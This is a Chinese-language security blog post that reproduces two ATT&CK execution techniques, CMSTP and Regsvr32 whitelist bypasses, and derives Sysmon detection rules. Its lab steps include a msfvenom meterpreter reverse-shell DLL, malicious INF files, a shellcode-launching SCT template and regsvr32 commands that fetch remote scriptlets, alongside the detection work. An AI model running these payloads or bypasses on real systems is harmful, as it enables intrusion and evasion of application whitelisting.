ATT&CK攻防初窺系列--執行篇(二)

AiLPHA發表於2019-12-20

ATT&CK攻防初窺系列--執行篇(二)

繼上篇ATT&CK攻防初窺系列--執行篇(一),我們復現並提取了T1196- Control Panel Items、T1220- XSL Script Processing檢測特徵後本篇我們復現一下T1191-CMSTP、T1117-Regsvr32並提取其檢測特徵。

T1191-CMSTP

Microsoft連線管理器配置檔案安裝程式(CMSTP.exe)是用於安裝連線管理器服務配置檔案的命令列程式。CMSTP.exe接受安裝資訊檔案(INF)作為引數,並安裝用於遠端訪問連線的服務配置檔案。

攻擊者可能會使用CMSTP.exe呼叫惡意的INF檔案。與Regsvr32 相似,CMSTP.exe可能被利用從遠端伺服器載入和執行DLL或COM指令碼(SCT)。由於CMSTP.exe是合法的,經過簽名的Microsoft應用程式,因此該執行過程也可以繞過AppLocker和其他白名單防禦。

CMSTP.exe也可以通過自動提升的COM介面從惡意INF執行任意命令繞過使用者帳戶控制

命令執行(DLL)

技術復現

建立dll後門檔案

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.133 LPORT=9999 -f dll -o backdoor.dll

建立惡意的INF檔案

 ;cmstp_dll.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
 
[RegisterOCXSection]
C:\Users\777\Desktop\AH\backdoor.dll
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
Service
ShortSvc

將DLL和INF傳輸到目標主機,使用cmstp.exe呼叫惡意的INF檔案

 cmstp /s cmstp_dll.inf

結果驗證

執行cmstp上線主機

ATT&CK攻防初窺系列--執行篇(二)

ATT&CK攻防初窺系列--執行篇(二)

命令執行(SCT)

技術復現

建立HTTP伺服器,放置SCT payload檔案

 <?XML version="1.0"?>
<scriptlet>
<registration
  prog
  class >
  <script language="JScript">
    <![CDATA[
     function setversion() {
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;

}
function debug(s) {}
function base64ToStream(b) {
        var enc = new ActiveXObject("System.Text.ASCIIEncoding");
        var length = enc.GetByteCount_2(b);
        var ba = enc.GetBytes_4(b);
        var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
        ba = transform.TransformFinalBlock(ba, 0, length);
        var ms = new ActiveXObject("System.IO.MemoryStream");
        ms.Write(ba, 0, (length / 4) * 3);
        ms.Position = 0;
        return ms;
}

var serialized_obj = ${PAYLOAD};
var entry_class = 'ShellCodeLauncher.Program';

try {
        setversion();
        var stm = base64ToStream(serialized_obj);
        var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
        var al = new ActiveXObject('System.Collections.ArrayList');
        var d = fmt.Deserialize_2(stm);
        al.Add(undefined);
        var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

} catch (e) {
    debug(e.message);
}
    ]]>
</script>
</registration>
</scriptlet>

配置惡意的INF檔案

 [version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
 
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://192.168.58.135:8000/bb.sct
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
Service
ShortSvc

結果驗證

執行cmstp上線主機

ATT&CK攻防初窺系列--執行篇(二)

ATT&CK攻防初窺系列--執行篇(二)


威脅取證

命令執行(DLL)

程式特徵:(級別:高)

# 當cmstp.exe作為父程式建立其他程式時,視為可疑
ParentImage contians 'cmstp.exe'

ATT&CK攻防初窺系列--執行篇(二)

ATT&CK攻防初窺系列--執行篇(二)

網路特徵:(級別:僅審計)

# 當呼叫rundll32.exe執行dll時,若dll為通訊後門或drop程式,可能會連線外網C2或者下載後門程式,此時會發起網路連線,可審計rundll32的網路通訊結合其他型別日誌進行分析
eventNum = 3 AND Image contians 'rundll32.exe'

ATT&CK攻防初窺系列--執行篇(二)

命令執行(SCT)

載入項特徵:(級別:高)

# 當使用sct檔案作為payload時,cmstp會直接建立COM物件進行執行,所以在程式行為上看不見父子關係。但使用sct時,會執行sct檔案中的指令碼,此時就會呼叫jscript、vbscript此類指令碼dll,視為可疑行為。
eventid = 7 AND ImageLoaded contains ('jscript' OR 'vbscript') AND Image contains 'cmstp.exe'

ATT&CK攻防初窺系列--執行篇(二)

ATT&CK攻防初窺系列--執行篇(二)

ATT&CK攻防初窺系列--執行篇(二)

網路特徵:(級別:高)

# 當使用sct檔案作為payload時,由cmstp程式直接發起通訊,cmstp本身為配置安裝服務配置程式,一般不會發起網路連線,故此視為可疑行為
eventNum = 3 AND Image contains 'cmstp.exe'

ATT&CK攻防初窺系列--執行篇(二)

T1117-Regsvr32

Regsvr32.exe是一個命令列程式,用於在Windows系統上註冊和取消註冊物件連結,嵌入控制元件和動態連結庫。Regsvr32.exe可用於執行任意二進位制檔案。

攻擊者可以利用此功能來代理攻擊程式碼的執行,以避免觸發安全工具,這些工具可能無法監視regsvr32.exe程式的執行和載入的模組,因為Windows使用regsvr32.exe進行正常操作時會出現白名單或誤報。Regsvr32.exe也是Microsoft簽名的二進位制檔案。

Regsvr32.exe還可用於專門繞過程式白名單,使用功能載入COM scriptlet以在使用者許可權下執行DLL。由於regsvr32.exe具有網路功能,因此可以呼叫遠端指令碼來執行程式碼。

命令執行

讀取遠端payload執行
regsvr32 /s /n /u /i:<url/aa.sct> scrobj.dll
讀取本地payload執行
regsvr32 /s /n /u /i:<aa.sct> scrobj.dll

技術復現

1. 建立aaa.sct檔案放至HTTP服務

 File: aa.sct
<?XML version="1.0"?>
<scriptlet>
<registration
  prog
  class >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>
</script>
</registration>
</scriptlet>

root@kali:~/L/sct# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

結果驗證

ATT&CK攻防初窺系列--執行篇(二)

後門駐留

該技術使用者後門的方式與遠端命令執行類似,在呼叫遠端指令碼去掉選項 /n /u 讓COM物件註冊到登錄檔中,需要用指令碼執行COM物件才能執行(這種方式還需要其他的機制觸發指令碼執行才能穩定控制,有點雞肋),所以通過COM劫持替換常被呼叫的COM物件來實現駐留更為有效,COM劫持本篇不討論,留在後門的文章詳說。

技術復現

1. 建立COM物件的sct檔案

 <?XML version="1.0"?>
<scriptlet>
<registration
  prog
  class
>
</registration>
<public>
  <method>
  </method>
</public>
<script language="JScript">
  <![CDATA[
    function exec(){
      new ActiveXObject('WScript.Shell').Run('calc.exe');
    }
  ]]>
</script>
</scriptlet>

2. 建立執行指令碼呼叫COM物件

 var test = new ActiveXObject("Test");
test.exec()

結果驗證

ATT&CK攻防初窺系列--執行篇(二) 

此時在登錄檔可以看見註冊的COM物件

ATT&CK攻防初窺系列--執行篇(二)ATT&CK攻防初窺系列--執行篇(二)

相關知識

1. Regsvr32的引數含義

 Regsvr32 [/s] [/n] [/i[:cmdline]] dllname
 /u 解除安裝安裝的控制元件,解除安裝伺服器註冊
 /s 註冊成功後不顯示操作成功資訊框
 /i 呼叫DllInstall函式並把可選引數[cmdline]傳給它,當使用/u時用來解除安裝DLL
 /n 不呼叫DllRegisterServer,該引數必須和/i一起使用

 當使用 /u 時,命令不會在登錄檔註冊COM物件,只會執行遠端的scriptlet

2. srcobj.dll起到什麼作用

 Scrobj.dll用於註冊和取消註冊COM物件,這是觸發此操作所需的。詳情見此

威脅取證

命令列特徵:(級別:高)

# 不管是本地還是遠端呼叫,都必須要關鍵字regsvr32,\i,scrobj.dll
eventid = 1 AND cmdline regex regsvr32\s+.*\i:.*?\s+scrobj.dll

ATT&CK攻防初窺系列--執行篇(二)

載入項特徵:(級別:高)

# 在執行scriptlet是會使用Jscript或者vbscript指令碼,這樣系統就會呼叫指令碼程式
eventid = 7 AND ImageLoaded contains ('jscript' OR 'vbscript') AND Image contains 'regsvr32.exe'

ATT&CK攻防初窺系列--執行篇(二)


驗證vbscript作為payload確認會呼叫

<?XML version="1.0"?>
<scriptlet>
<registration
  prog
  class >
  <script language="vbscript">
    <![CDATA[
      set foo = createobject("WScript.Shell")
      foo.Run("cmd.exe /c calc.exe")
    ]]>
</script>
</registration>
</scriptlet>

ATT&CK攻防初窺系列--執行篇(二)

程式特徵:(級別:中)

# 當regsvr32作為父程式建立其他程式時是一種可疑行為
eventNum = 1 AND ParentImage contains 'regsvr32.exe'

ATT&CK攻防初窺系列--執行篇(二)

參考

https://attack.mitre.org/techniques/T1191/

https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/

https://oddvar.moe/2017/08/15/research-on-cmstp-exe/

https://msitpros.com/?p=3960

https://attack.mitre.org/techniques/T1117/

https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/

https://security.stackexchange.com/questions/183021/how-does-this-applocker-bypass-work-exactly-squibblydoo

相關文章